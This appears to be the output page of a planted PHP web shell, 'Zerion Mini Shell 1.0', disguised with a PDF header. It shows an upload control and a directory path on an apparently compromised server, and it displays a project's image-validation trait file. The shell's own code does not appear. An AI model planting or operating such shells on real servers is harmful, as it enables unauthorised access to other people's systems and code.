%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Traits/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Traits/AddImageTrait.php

<?php

namespace Workeasy\Traits;


use Workeasy\Exceptions\ValidationFileException;

trait AddImageTrait
{
    public function check_base64_image($base64)
    {
        try {
            $img = imagecreatefromstring(base64_decode($base64));
            imagepng($img, 'tmp.png');
            $info = getimagesize('tmp.png');
            unlink('tmp.png');
            if ($info[0] > 0 && $info[1] > 0 && $info['mime']) {
                return true;
            } else {
                throw new ValidationFileException;
            }
        } catch (\Exception $e) {
            throw new ValidationFileException;
        }
    }
}

Zerion Mini Shell 1.0